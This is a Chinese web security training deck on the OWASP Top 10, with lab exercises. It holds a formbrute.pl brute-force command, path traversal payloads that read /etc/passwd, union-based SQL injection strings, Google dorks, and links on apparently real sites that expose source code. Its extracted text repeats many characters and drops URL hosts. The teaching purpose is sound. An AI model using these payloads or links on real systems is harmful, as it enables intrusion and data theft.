![Web應(yīng)用安全培訓(xùn)教程_第1頁](http://file3.renrendoc.com/fileroot_temp3/2021-12/16/e7536167-003b-4531-9fde-0df8b9650ca2/e7536167-003b-4531-9fde-0df8b9650ca21.gif)
![Web應(yīng)用安全培訓(xùn)教程_第2頁](http://file3.renrendoc.com/fileroot_temp3/2021-12/16/e7536167-003b-4531-9fde-0df8b9650ca2/e7536167-003b-4531-9fde-0df8b9650ca22.gif)
![Web應(yīng)用安全培訓(xùn)教程_第3頁](http://file3.renrendoc.com/fileroot_temp3/2021-12/16/e7536167-003b-4531-9fde-0df8b9650ca2/e7536167-003b-4531-9fde-0df8b9650ca23.gif)
![Web應(yīng)用安全培訓(xùn)教程_第4頁](http://file3.renrendoc.com/fileroot_temp3/2021-12/16/e7536167-003b-4531-9fde-0df8b9650ca2/e7536167-003b-4531-9fde-0df8b9650ca24.gif)
![Web應(yīng)用安全培訓(xùn)教程_第5頁](http://file3.renrendoc.com/fileroot_temp3/2021-12/16/e7536167-003b-4531-9fde-0df8b9650ca2/e7536167-003b-4531-9fde-0df8b9650ca25.gif)
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、1Web應(yīng)用安全應(yīng)用安全張曉峰張曉峰2015-102目錄目錄 Web Web對象直接引用對象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七3WebWeb來源于來源于World Wide WebWorld Wide Web,WebWeb系統(tǒng)是系統(tǒng)是InternetInternet的重要組成部分,的重要組成部分,形形色色的形形色色的WebWeb系統(tǒng)正在改變著我們的生活:系統(tǒng)正在改變著我們的生活:網(wǎng)上購物網(wǎng)上匯款交費寫博客Web小游戲競選網(wǎng)上營
2、業(yè)廳Web豐富了我們的生活豐富了我們的生活4作為一種新型的市場渠道,網(wǎng)上營業(yè)廳能夠為用戶提供方便快捷的服務(wù),能夠作為一種新型的市場渠道,網(wǎng)上營業(yè)廳能夠為用戶提供方便快捷的服務(wù),能夠降低實體店鋪的成本,因此在各大運營商市場戰(zhàn)略中占有重要的位置。近年以降低實體店鋪的成本,因此在各大運營商市場戰(zhàn)略中占有重要的位置。近年以來,網(wǎng)上營業(yè)廳的安全問題越來越受到大眾的關(guān)注,主要可以劃分成來,網(wǎng)上營業(yè)廳的安全問題越來越受到大眾的關(guān)注,主要可以劃分成4 4個方面:個方面:Web安全的意義安全的意義工信部工信部網(wǎng)上營業(yè)廳如果被不法分子攻陷,那么可能以此為跳板進入網(wǎng)上營業(yè)廳如果被不法分子攻陷,那么可能以此為跳板進入
3、運營商的支撐網(wǎng)甚至核心網(wǎng)絡(luò),造成大面積通訊故障。運營商的支撐網(wǎng)甚至核心網(wǎng)絡(luò),造成大面積通訊故障。 普通用戶普通用戶網(wǎng)上到處叫賣的個人通話詳單查詢服務(wù)已經(jīng)對老百姓的隱私網(wǎng)上到處叫賣的個人通話詳單查詢服務(wù)已經(jīng)對老百姓的隱私造成了極大的破壞。移動集團一直就很重視客戶信息保密的造成了極大的破壞。移動集團一直就很重視客戶信息保密的問題。問題。 運營商運營商網(wǎng)上營業(yè)廳代表了企業(yè)對外的形象,每天訪問用戶數(shù)以萬計,網(wǎng)上營業(yè)廳代表了企業(yè)對外的形象,每天訪問用戶數(shù)以萬計,如果出現(xiàn)頁面篡改、甚至網(wǎng)頁掛馬事件,對企業(yè)形象是巨大如果出現(xiàn)頁面篡改、甚至網(wǎng)頁掛馬事件,對企業(yè)形象是巨大損失。損失。 運營商運營商網(wǎng)上營業(yè)廳涉及
4、充值交費等交易業(yè)務(wù),容易吸引不法分子的網(wǎng)上營業(yè)廳涉及充值交費等交易業(yè)務(wù),容易吸引不法分子的眼球。如果利用安全漏洞造成交易欺詐,損害企業(yè)的經(jīng)濟利眼球。如果利用安全漏洞造成交易欺詐,損害企業(yè)的經(jīng)濟利益。益。 5WebWeb系統(tǒng)逐漸成為企業(yè)安全邊界之一系統(tǒng)逐漸成為企業(yè)安全邊界之一防火墻加固OSWeb服務(wù)器應(yīng)用服務(wù)器防火墻數(shù)據(jù)庫歷史遺留系統(tǒng)Web Services文件目錄人力系統(tǒng)計費系統(tǒng)定制的應(yīng)用程序應(yīng)用層應(yīng)用層攻擊僅僅使用網(wǎng)絡(luò)層的防護手段僅僅使用網(wǎng)絡(luò)層的防護手段 ( (防火墻防火墻, SSL, IDS, , SSL, IDS, 加固加固) ) 無法阻止或檢測到應(yīng)用層攻擊無法阻止或檢測到應(yīng)用層攻擊網(wǎng)絡(luò)
5、層應(yīng)用層應(yīng)用層作為安全邊界的一部分,或許應(yīng)用層作為安全邊界的一部分,或許有巨大的漏洞有巨大的漏洞6而而WebWeb系統(tǒng)的安全性參差不齊系統(tǒng)的安全性參差不齊復(fù)雜應(yīng)用系統(tǒng)代碼量大、開發(fā)人員多、難免出現(xiàn)疏忽;系統(tǒng)屢次升級、人員頻繁變更,導(dǎo)致代碼不一致;歷史遺留系統(tǒng)、試運行系統(tǒng)等多個Web系統(tǒng)共同運行于同一臺服務(wù)器上;開發(fā)人員未經(jīng)過安全編碼培訓(xùn);定制開發(fā)系統(tǒng)的測試程度不如標(biāo)準(zhǔn)的產(chǎn)品;客戶滿意界面友好操作方便處理性能實現(xiàn)所有功能架構(gòu)合理代碼修改方便運行穩(wěn)定沒有bug不同模塊低耦合相對安全性而言,相對安全性而言,開發(fā)人員更注重開發(fā)人員更注重系統(tǒng)功能!系統(tǒng)功能!開發(fā)進度與成本開發(fā)者的關(guān)注點開發(fā)者的關(guān)注點7定
6、制開發(fā)的定制開發(fā)的WebWeb應(yīng)用應(yīng)用 = = 企業(yè)安全的阿基里斯之踵企業(yè)安全的阿基里斯之踵 “目前,目前,75% 的攻擊發(fā)生在應(yīng)用層的攻擊發(fā)生在應(yīng)用層” Gartner, 2006“2006年前年前9個月內(nèi)新發(fā)現(xiàn)個月內(nèi)新發(fā)現(xiàn)4,375 個漏洞個漏洞. Web漏洞是其中漏洞是其中最普遍的三類之一最普遍的三類之一.” Mitre Corp, 09/2006,CVE的維護者“產(chǎn)品的定制開發(fā)是應(yīng)用安全中最薄弱的一環(huán)產(chǎn)品的定制開發(fā)是應(yīng)用安全中最薄弱的一環(huán)”. Gartner, 09/2005“到到2009年年, 80%的企業(yè)都將成為應(yīng)用層攻擊的受害的企業(yè)都將成為應(yīng)用層攻擊的受害者者”. Gartner
7、, 20078WebWeb攻擊場景攻擊場景攻擊動機攻擊動機攻擊方法攻擊方法攻擊工具攻擊工具系統(tǒng)漏洞系統(tǒng)漏洞防范措施防范措施攻擊面(attack surface)Web服務(wù)器黑客9Web攻擊動機攻擊動機常見常見WebWeb攻擊動機攻擊動機 惡作??; 關(guān)閉Web站點,拒絕正常服務(wù); 篡改Web網(wǎng)頁,損害企業(yè)名譽; 免費瀏覽收費內(nèi)容; 盜竊用戶隱私信息,例如Email; 以用戶身份登錄執(zhí)行非法操作,從而獲取暴利; 以此為跳板攻擊企業(yè)內(nèi)網(wǎng)其他系統(tǒng); 網(wǎng)頁掛木馬,攻擊訪問網(wǎng)頁的特定用戶群; 仿冒系統(tǒng)發(fā)布方,誘騙用戶執(zhí)行危險操作,例如用木馬替換正常下載文件,要求用戶匯款等; 常用的掛馬常用的掛馬explo
8、itMS07-017 MS Windows Animated Cursor (.ANI) Remote ExploitMS07-019MS07-004 VML Remote Code ExecutionMS06-073MS06-071 XML Core Services Remote Code ExecutionMS06-068MS06-067MS06-057 WebViewFolderIcod ActiveXMS06-055MS06-014 MDAC Remote Code ExecutionMS06-013MS06-005MS06-004MS06-00110Web攻擊方法攻擊方法常見常見W
9、ebWeb攻擊方法攻擊方法 Google hack 網(wǎng)頁爬行 暴力猜解 Web漏洞掃描 錯誤信息利用 根據(jù)服務(wù)器版本尋找現(xiàn)有的攻擊代碼 利用服務(wù)器配置漏洞 文件上傳下載 構(gòu)造惡意輸入(SQL注入攻擊、命令注入攻擊、跨站腳本攻擊) HTTP協(xié)議攻擊 拒絕服務(wù)攻擊 其他攻擊點利用(Web Services, Flash, Ajax, ActiveX, JavaApplet) 業(yè)務(wù)邏輯測試 收集系統(tǒng)相關(guān)的通用信息 將系統(tǒng)所有能訪問頁面,所有的資源,路徑展現(xiàn)出來 URL、口令、數(shù)據(jù)庫字段、文件名都可以暴力猜解,注意利用工具; 利用Web漏洞掃描器,可以盡快發(fā)現(xiàn)一些明顯的問題 錯誤可能泄露服務(wù)器型號版本
10、、數(shù)據(jù)庫型號、路徑、代碼; 搜索Google,CVE, BugTraq等漏洞庫是否有相關(guān)的漏洞 服務(wù)器后臺管理頁面,路徑是否可以列表等 是否可以上傳惡意代碼?是否可以任意下載系統(tǒng)文件? 檢查所有可以輸入的地方:URL、參數(shù)、Post、Cookie、Referer、 Agent、系統(tǒng)是否進行了嚴(yán)格的校驗? HTTP協(xié)議是文本協(xié)議,可利用回車換行做邊界干擾 用戶輸入是否可以影響服務(wù)器的執(zhí)行? 需要特殊工具才能利用這些攻擊點 復(fù)雜的業(yè)務(wù)邏輯中是否隱藏漏洞?11Web攻擊工具:攻擊工具:WebScarab特色:HTTP協(xié)議完全可見(可以完全操作所有的攻擊點)支持HTTPS (包括客戶端證書)全程數(shù)據(jù)與
11、狀態(tài)記錄,可隨時回顧 OWASP=Open Web Application Security Project,OWASP是最權(quán)威的Web應(yīng)用安全開源合作組織,其網(wǎng)站上有大量的Web應(yīng)用安全工具與資料。Nokia是其成員之一WebScarab是OWASP組織推出的開源工具,可應(yīng)用于一切基于HTTP協(xié)議系統(tǒng)的調(diào)試與攻擊;12訪問資源名稱GET與POST參數(shù)Referer與User AgentHTTP 方法CookieAjaxWeb ServiceFlash客戶端Java AppletWeb攻擊面:不僅僅是瀏覽器中可見的內(nèi)容攻擊面:不僅僅是瀏覽器中可見的內(nèi)容PO
12、ST /thepage.jsp?var1=page1.html HTTP/1.1Accept: */*Referer: http:/ en-us,de;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-url-encodedContent-Lenght: 59User-Agent: Mozilla/4.0Host: Connection: Keep-AliveCookie: JSESSIONID=0000dITLGLqhz1dKkPEtpoYqbN2uid=fred&password=secret&pagest
13、yle=default.css&action=login直接可在瀏覽器直接可在瀏覽器中利用的輸入中利用的輸入所有輸入點所有輸入點更多輸入點更多輸入點黑客實際利用的黑客實際利用的輸入點輸入點13Web攻擊漏洞:安全漏洞庫攻擊漏洞:安全漏洞庫Securityfocus網(wǎng)站的漏洞庫名稱為Bugtraq,它給每個漏洞編號叫Bugtraq ID。它的網(wǎng)址為:http:/ Cve是和Bugtraq齊名的漏洞庫,它給漏洞庫編號叫CVE ID,它的網(wǎng)址為:/。 CVE與Bugtraq漏洞庫都會對確認的漏洞進行統(tǒng)一編號,其編號是業(yè)界承認的統(tǒng)一標(biāo)準(zhǔn),有助于避免混淆。在這些漏洞
14、庫中都可以查到大量的Web應(yīng)用漏洞。14Web攻擊漏洞:攻擊漏洞:2007 OWASP Top 102007年3月, OWASP對最新的Web應(yīng)用漏洞按類別進行排名,并將前十名的脆弱性類別編制成冊。/index.php/OWASP_Top_Ten_Project其中前5名與SANS定期更新的Top20榜中Web應(yīng)用脆弱性前5名基本一致。/top20跨站腳本注入惡意代碼引用不當(dāng)CSRF152007 OWASP Top 10:第一名第四名:第一名第四名No.No.漏洞名稱漏洞名稱簡介簡介舉例舉例A1跨站腳本Cross Sit
15、e Scripting,簡稱為XSS如果Web應(yīng)用沒有對攻擊者的輸入進行適當(dāng)?shù)木幋a和過濾,就轉(zhuǎn)發(fā)給其他用戶的瀏覽器時,可能導(dǎo)致XSS漏洞。攻擊者可利用XSS在其他用戶的瀏覽器中運行惡意腳本,偷竊用戶的會話,或是偷偷模擬用戶執(zhí)行非法的操作;發(fā)帖子,發(fā)消息A2注入Injection Flaws如果Web應(yīng)用沒有對攻擊者的輸入進行適當(dāng)?shù)木幋a和過濾,就用于構(gòu)造數(shù)據(jù)庫查詢或操作系統(tǒng)命令時,可能導(dǎo)致注入漏洞。攻擊者可利用注入漏洞誘使Web應(yīng)用執(zhí)行未預(yù)見的命令(即命令注入攻擊)或數(shù)據(jù)庫查詢(即SQL注入攻擊)。搜索用戶A3惡意代碼執(zhí)行Malicious File Execution如果Web應(yīng)用允許用戶上傳
16、文件,但對上傳文件名未作適當(dāng)?shù)倪^濾時,用戶可能上載惡意的腳本文件(通常是Web服務(wù)器支持的格式,如ASP,PHP等);腳本文件在Include子文件時,如果Include路徑可以被用戶輸入影響,那么可能造成實際包含的是黑客指定的惡意代碼;上述兩種情況是造成惡意代碼執(zhí)行的最常見原因。上傳附件,上傳頭像A4對象直接引用Insecure Direct Object Reference訪問內(nèi)部資源時,如果訪問的路徑(對文件而言是路徑,對數(shù)據(jù)庫而言是主鍵)可被攻擊者篡改,而系統(tǒng)未作權(quán)限控制與檢查的話,可能導(dǎo)致攻擊者利用此訪問其他未預(yù)見的資源;下載文件162007 OWASP Top 10:第五名第十名:
17、第五名第十名No.No.漏洞名稱漏洞名稱簡介簡介舉例舉例A5 跨站請求偽造Cross Site Request Forgery,簡稱為CSRFCSRF攻擊即攻擊者在用戶未察覺的情況下,迫使用戶的瀏覽器發(fā)起未預(yù)見的請求,其結(jié)果往往損害用戶本身的利益。CSRF攻擊大多利用Web應(yīng)用的XSS漏洞,也有很多CSRF攻擊沒有利用XSS而是利用了HTML標(biāo)簽的特性。不明郵件中隱藏的html鏈接A6 信息泄露與錯誤處理不當(dāng)Information Leakage and Improper Error HandlingWeb應(yīng)用可能不經(jīng)意地泄露其配置、服務(wù)器版本、數(shù)據(jù)庫查詢語句、部署路徑等信息,或是泄露用戶的隱
18、私。攻擊者可利用這些弱點盜竊敏感信息。錯誤信息揭示路徑A7 認證與會話管理不當(dāng)Broken Authentication and Session Management如果Web應(yīng)用的認證與會話處理不當(dāng),可能被攻擊者利用來偽裝其他用戶身份A8 存儲不安全Insecure Cryptographic Storge如果Web應(yīng)用沒有正確加密存儲敏感信息,可能被攻擊者盜取。例如攻擊者可能通過SQL注入手段獲取其他用戶的密碼,如果Web應(yīng)用對密碼進行了加密,就可以降低此類威脅。A9 通訊加密不安全Insecure Communication如果Web應(yīng)用沒有對網(wǎng)絡(luò)通訊中包含的敏感信息進行加密,可能被竊聽
19、A10 URL訪問控制不當(dāng)Failure to Restrict URL Access如果Web應(yīng)用對URL訪問控制不當(dāng),可能造成用戶直接在瀏覽器中輸入URL,訪問不該訪問的頁面17OWASP TOP 10,您打算從哪里開始?,您打算從哪里開始?2345678910118目錄目錄 Web Web對象直接引用對象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七192007 OWASP 第第10名:名:URL訪問控制不當(dāng)訪問控制不當(dāng)舉例:有的W
20、eb應(yīng)用對頁面權(quán)限控制不嚴(yán),原因是缺乏統(tǒng)一規(guī)范的權(quán)限控制框架,導(dǎo)致部分頁面可以直接從URL中訪問,繞開登錄認證。防范措施:統(tǒng)一規(guī)范權(quán)限控制。A10 URL訪問控制不當(dāng)Failure to Restrict URL Access如果Web應(yīng)用對URL訪問控制不當(dāng),可能造成用戶直接在瀏覽器中輸入URL,訪問不該訪問的頁面202007 OWASP 第第9名名舉例:網(wǎng)絡(luò)竊聽(Sniffer)可以捕獲網(wǎng)絡(luò)中流過的敏感信息,如密碼,Cookie字段等。高級竊聽者還可以進行ARP Spoof,中間人攻擊。防范措施:通訊加密。A9 通訊加密不安全Insecure Communication如果Web應(yīng)用沒有對
21、網(wǎng)絡(luò)通訊中包含的敏感信息進行加密,可能被竊聽Host AHost BRouter A Router B 212007 OWASP 第第8名名舉例:很多Web應(yīng)用將用戶口令以明文的方式保存,一旦黑客能夠通過其他漏洞獲取這些口令,就可以偽造他人身份登錄,包括系統(tǒng)管理員。建議:采用安全的算法加密保存口令。下面將舉一個實例說明A8 存儲不安全Insecure Cryptographic Storge如果Web應(yīng)用沒有正確加密存儲敏感信息,可能被攻擊者盜取。例如攻擊者可能通過SQL注入手段獲取其他用戶的密碼,如果Web應(yīng)用對密碼進行了加密,就可以降低此類威脅。222007 OWASP 第第8名:名:Ca
22、se vBulletinvBulletin 以MD5方式保存用戶口令,然而其2.3.0版本存在一個SQL注入漏洞,可以通過此漏洞查詢管理員密碼的MD5值;Step 1:通過Google搜索vBulletin 2.3.0的特征,發(fā)現(xiàn)965.000項符合。這是這是Google Hack,后面會專門介紹后面會專門介紹232007 OWASP 第第8名:名:Case vBulletinStep 2:檢查漏洞頁面calendar.php能否訪問。Step 3:由于該攻擊利用了Union,要求MySQL版本高于4.0,因此通過下面的鏈接檢查其MySQL版本是否高于4.0。 http:/ OWASP 第第8
23、名:名:Case vBulletinStep 4:注冊一個用戶,在首頁查看自己的ID。252007 OWASP 第第8名:名:Case vBulletinStep 5:通過下面的鏈接實現(xiàn)SQL注入攻擊:http:/ OWASP 第第8名:名:Case vBulletinStep 6:訪問http:/,輸入MD5值反查密碼為811028?,F(xiàn)在很多Web應(yīng)用已經(jīng)開始用MD5算法保存用戶密碼,然而直接進行MD5并非安全算法。右圖的Rainbow表就可以用于反查MD5值。Rainbow表利用了Hellman的存儲-時間權(quán)衡算法,通過設(shè)計一個大數(shù)據(jù)量的表來提高反查效率。27防范措施:防范措施:SALT學(xué)
24、習(xí)Unix操作系統(tǒng)采用Salt技術(shù)來防范rainbow表攻擊。Password隨機隨機SaltMD5Base64隨機隨機salt+Shadow文件中保存的內(nèi)容文件中保存的內(nèi)容Unix在保存用戶口令時,會隨機生成一個12字節(jié)的字符串作為salt,然后把salt與口令一起計算MD5,并將salt與結(jié)果保存在etc/shadow中。驗證時將salt與用戶輸入口令結(jié)合計算MD5并與存儲的結(jié)果比對。282007 OWASP 第第7名名舉例:有的Web應(yīng)用登錄界面允許攻擊者暴力猜解口令,在自動工具與字典表的幫助下,可以迅速找到弱密碼用戶。A7 認證與會話管理不當(dāng)Broken Authentication
25、and Session Management如果Web應(yīng)用的認證與會話處理不當(dāng),可能被攻擊者利用來偽裝其他用戶身份防范措施:圖片認證碼,雙因素認證29實驗環(huán)境搭建實驗環(huán)境搭建采用VMware 5.0,虛擬兩臺主機,構(gòu)造一個虛擬局域網(wǎng)Window 2000 Server模擬Web服務(wù)器IP:Window 2000 Professional已安裝實驗所需的攻擊工具,模擬黑客機IP:本地機模擬普通用戶IP:302007 OWASP 第第7名:名:Case Brute我們將利用一個簡單的Perl腳本對目標(biāo)進行字典攻擊;首先設(shè)
26、定Perl運行環(huán)境,將bin目錄添加到系統(tǒng)PATH中:學(xué)員練習(xí)學(xué)員練習(xí)10Min312007 OWASP 第第7名:名:Case Brute運行perl formbrute.pl,顯示其命令參數(shù)如下:usage: formbrute.pl -U url:網(wǎng)址-m method ( GET|POST ):GET還是POST-u usernameFile:用戶名字典文件-p passwordFile:密碼字典文件-l loginVariable:Form中用戶名的變量名稱-w passVariable:Form中密碼的變量名稱-o otherVariables ( ie: submit=true&
27、login=yes ):其他變量-v proxyServer:代理-f failureString:失敗后返回標(biāo)記-s saveFilename:輸出文件名-h request-headers( ie: Referer:abc&Cookie:ng=omo ):其他HTTP頭數(shù)據(jù)學(xué)員練習(xí)學(xué)員練習(xí)10Min322007 OWASP 第第7名:名:Case Brute啟動WebScarab,開啟抓包功能。同時在IE中設(shè)置代理:學(xué)員練習(xí)學(xué)員練習(xí)10Min332007 OWASP 第第7名:名:Case Brute在登錄頁面輸入用戶名aaa,密碼bbb,點擊登錄,WebScarab抓到IE發(fā)起的請求如下
28、:POST :80/bbs/Default.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*Referer: /bbs/Accept-Language: zh-cnContent-Type: applic
29、ation/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)Host: Content-length: 77Proxy-Connection: Keep-AlivePragma: no-cacheCookie: Snitz00User=; ASPSESSIONIDQCSDTQDT=CFPLNNDAGPEJLCMAJGKGCECA; iscooki
30、es=0; BoardList=BoardID=Show; upNum=0Method_Type=login&Name=aaa&Password=bbb&SavePassWord=true&submit1.x=34&submit1.y=17學(xué)員練習(xí)學(xué)員練習(xí)10Min342007 OWASP 第第7名:名:Case Brute由于輸入的是錯誤的密碼,頁面提示:你的用戶名或者密碼是錯誤的.請重新輸入或者注冊成為新會員.我們把“錯誤”當(dāng)成登錄失敗的標(biāo)志,用formbrute發(fā)起如下命令:perl formbrute.pl -U /bbs/Default.asp
31、-m POST -u UserList.txt -p PasswordList.txt -l Name -w Password -o Method_Type=login&SavePassWord=true&submit1.x=34&submit1.y=17 -f 錯誤 -s result.txt學(xué)員練習(xí)學(xué)員練習(xí)10Min352007 OWASP 第第7名:名:Case Brute結(jié)果輸出在result.txt中:尋找到admin:admin以及test:test兩個合法登錄!學(xué)員練習(xí)學(xué)員練習(xí)10Min362007 OWASP 第第7名:名:Case Brute題外話:Formbrute代碼非常
32、簡短,稍加修改就可以完成更多的任務(wù),例如:猜解后臺管理入口;猜解數(shù)據(jù)庫字段名;自動測試手工測試372007 OWASP 第第6名名舉例:錯誤頁面往往泄露系統(tǒng)內(nèi)部敏感信息防范措施: 在所有的運行代碼中進行規(guī)范的異常處理。 已處理的異常和未處理的異常應(yīng)該始終將提供的可能有助于黑客攻擊的信息減到最少。例如在登錄系統(tǒng)時,不論是用戶名不存在還是密碼錯誤都應(yīng)該提示相同的錯誤信息。A6 信息泄露與錯誤處理不當(dāng)Information Leakage and Improper Error HandlingWeb應(yīng)用可能不經(jīng)意地泄露其配置、服務(wù)器版本、數(shù)據(jù)庫查詢語句、部署路徑等信息,或是泄露用戶的隱私。攻擊者可利
33、用這些弱點盜竊敏感信息。382007 OWASP 第第6名:名:Case 1泄露服務(wù)器Tomcat版本392007 OWASP 第第6名:名: Case 2泄露數(shù)據(jù)庫查詢語句;泄露數(shù)據(jù)庫為Oracle;402007 OWASP 第第6名:名: Case 3泄露數(shù)據(jù)庫為Microsoft SQL Server412007 OWASP 第第6名:名: Case 4泄露數(shù)據(jù)庫為MySQL422007 OWASP 第第6名:名: Case 5泄露服務(wù)器目錄432007 OWASP 第第6名:名: IE設(shè)置設(shè)置1有的時候您看到的是如下的頁面:442007 OWASP 第第6名:名: IE設(shè)置設(shè)置2原因是
34、IE顯示給用戶的是友好的HTTP錯誤,所以需要去掉下面選項的勾:452007 OWASP 第第6名:名: IE設(shè)置設(shè)置3重啟IE后,顯示更多的技術(shù)細節(jié):46總結(jié)總結(jié)前面簡介OWASP漏洞排名第10名到第6名的漏洞攻防;接下來將詳細介紹第5名到第1名;我們把XSS與CSRF合并在一起介紹,順序如下:Insecure Direct Object Reference:直接對象引用Malicious File Execution:惡意代碼Injection:注入XSS and CSRF:跨站腳本與跨站請求偽造47目錄目錄 Web Web對象直接引用對象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一
35、 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七48對象直接引用對象直接引用 一一A4對象直接引用Insecure Direct Object Reference訪問內(nèi)部資源時,如果訪問的路徑(對文件而言是路徑,對數(shù)據(jù)庫而言是主鍵)可被攻擊者篡改,而系統(tǒng)未作權(quán)限控制與檢查的話,可能導(dǎo)致攻擊者利用此訪問其他未預(yù)見的資源;下載文件目標(biāo):獲取服務(wù)器的etc/passwd文件方法:Web服務(wù)器一般缺省不允許攻擊者訪問Web根目錄以外的內(nèi)容。但是對Web應(yīng)用卻不做限制,因此操作系統(tǒng)Web應(yīng)用Web服
36、務(wù)器我想看etc/passwdAccess Denied!我想看etc/passwdOK!我想看etc/passwdOK!49對象直接引用對象直接引用Step 1. 訪問http:/traffic-,這是一個網(wǎng)頁瀏覽統(tǒng)計系統(tǒng),點擊Get stats!鏈接50對象直接引用對象直接引用Step 2.右鍵點擊中間的圖片,查看其鏈接屬性:51對象直接引用對象直接引用Step 4.您是否觀察到其中file是作為plotStat.php的一個參數(shù)傳入,那么我們用file指向其他敏感文件試試看:52對象直接引用對象直接引用Step 5. 構(gòu)造參數(shù)/./././././././././etc/passwd拿到
37、etc/passwd!53對象直接引用對象直接引用Step 6. 進一步的攻擊,Google搜索 inurl:download.jsp?file=:54對象直接引用對象直接引用下面這些鏈接都可以直接下載網(wǎng)站的源代碼1. http:/www.swscreen.co.uk/download.asp?path=/./download.asp2. http:/webhelp.swu.ac.th/download.asp?file=download.asp3. http:/ 21:8080/haiyou/upload/download.jsp?file=index.jsp
38、55其他資源類型其他資源類型例如某Web應(yīng)用允許用戶查詢自己賬號的余額信息,其鏈接如下:http:/./history.jsp?userid=?有心的用戶可能填寫其他用戶的id再訪問,如果開發(fā)者在服務(wù)器端沒有進行權(quán)限控制,判斷此id是否能被當(dāng)前會話的用戶訪問,就可能泄露其他用戶的隱私信息。復(fù)雜的系統(tǒng)存在大量的相互引用訪問,如果開發(fā)者不能有效地進行權(quán)限控制,就可能被惡意引用。56真實的故事真實的故事Google-Docs用戶可以偷竊所有其他用戶的文檔!在google-docs上有個鏈接可以將您的文檔發(fā)送給合作者。GET /Dialogs/EmailDocument?DocID= HTTP/1.1
39、 然而,google卻沒有檢查參數(shù)中的DOCID是否屬于您。所以,您可以猜測他人文檔的ID并利用這個鏈接讓google把文檔郵給您。http:/xs- File Inclusion(簡稱RFI/LFI)漏洞就是因為系統(tǒng)在包含腳本文件時,包含的路徑可被黑客篡改。2007年9月26日16:00點在http:/ FrontAccounting 1.13 Remote File Inclusion Vulnerabilities2007-09-24 sk.log = 0.5.3 (skin_url) Remote File Inclusion Vulnerability2007-09-24 DFD C
40、art 1.1 Multiple Remote File Inclusion Vulnerabilities2007-09-23 phpFullAnnu (PFA) 6.0 Remote SQL Injection Vulnerability2007-09-23 helplink 0.1.0 (show.php file) Remote File Inclusion Vulnerability2007-09-23 PHP-Nuke addon Nuke Mobile Entartainment LFI Vulnerability2007-09-23 Wordsmith 1.1b (config
41、.inc.php _path) Remote File Inclusion Vuln2007-09-22 Black Lily 2007 (products.php class) Remote SQL Injection Vulnerability2007-09-22 Clansphere 2007.4 (cat_id) Remote SQL Injection Vulnerability2007-09-21 CMS Made Simple 1.2 Remote Code Execution Vulnerability2007-09-21 iziContents 20程序員未預(yù)料到的結(jié)果程序員
42、未預(yù)料到的結(jié)果age: 1000000 union select name, age, password from usersSELECT name, age, locationFROM Users WHERE age999 union select name, age, password from usersFactFact:大多數(shù)程序員都注意到了的問題,他們用來代替用戶輸入的,從而防止字符串SQL注入;但很多人缺忽略了同樣嚴(yán)重的數(shù)字注入問題。其防范方法是檢查用戶輸入的數(shù)字是否合法。Union暴庫是常見的注入方法Union語法要求前后兩句SQL中Select的數(shù)據(jù)項類型和數(shù)量一致;這兩句sq
43、l都符合string,int,string的模式999是不可能符合的條件,這樣union的結(jié)果就只剩第二句sql查詢的內(nèi)容76打開培訓(xùn)示范論壇,不用登錄,直接查看用戶屬性SQL Injection:Case學(xué)員練習(xí)學(xué)員練習(xí)20Min77一個簡單的測試顯示這里可能存在注入漏洞。從錯誤看出是MS SQL Server。從鏈接的形式id=?來看應(yīng)該可能是數(shù)字型。因此報錯是必然的。從報錯來看,程序員把替換成了SQL Injection:Step 1學(xué)員練習(xí)學(xué)員練習(xí)20Min78用試驗,發(fā)現(xiàn)出來了一部分數(shù)據(jù),test用戶名及其email地址,這證明至少有一條SQL正確運行。但是依然有SQL報錯,很可能是
44、后臺有兩條SQL語句都分別用到了id變量,而兩語句使用的環(huán)境不同。SQL Injection:Step 2學(xué)員練習(xí)學(xué)員練習(xí)20Min79實際情況是第一條SQL是where id=? ,第二條SQL是where (xx=xx) and (id=?)。因此要第二條不錯,id只能用2)-,但這樣第一條又會出錯,難以兩全。從錯誤行號來看,第一句SQL位于84行,第二句SQL位于207行。SQL Injection:Step 3學(xué)員練習(xí)學(xué)員練習(xí)20Min80對于Select查詢,幾乎都可以用Union查詢來暴庫。Union要求前后兩句對應(yīng)的數(shù)據(jù)項數(shù)量相同,類型一致,因此需要首先檢查第一句SQL的數(shù)據(jù)項數(shù)
45、量。方法是用order by n,逐步增加n。SQL Injection:Step 4學(xué)員練習(xí)學(xué)員練習(xí)20Min81N=30正常,N=31錯誤!因此第一句SQL有30項。SQL Injection:Step 5學(xué)員練習(xí)學(xué)員練習(xí)20Min82由于union還要求類型一致,30項要逐個猜測類型是不現(xiàn)實的,因此用通配符null! 準(zhǔn)備30個null。提示這個錯誤的原因說明前一句sql中有image類型,而union缺省是distinct的,要解決這個問題,使用union all即可。SQL Injection:Step 6學(xué)員練習(xí)學(xué)員練習(xí)20Min83使用Union All后,終于又看到了test的
